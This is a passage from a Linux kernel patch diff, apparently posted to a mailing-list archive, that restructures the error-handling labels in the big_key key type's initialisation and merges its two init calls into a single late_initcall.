+	if (ret < 0) {
+		pr_err("Can't register type: %d\n", ret);
+		goto error_cipher;
 	}
 
 	return 0;
 
-error:
+error_cipher:
+	crypto_free_blkcipher(big_key_blkcipher);
+error_rng:
 	crypto_free_rng(big_key_rng);
-	big_key_rng = NULL;
 	return ret;
 }
 
-device_initcall(big_key_init);
-late_initcall(big_key_crypto_init);
+late_initcall(big_key_init);

[toc] | [prev] | [standalone]


Back to top | Article view | linux.kernel


csiph-web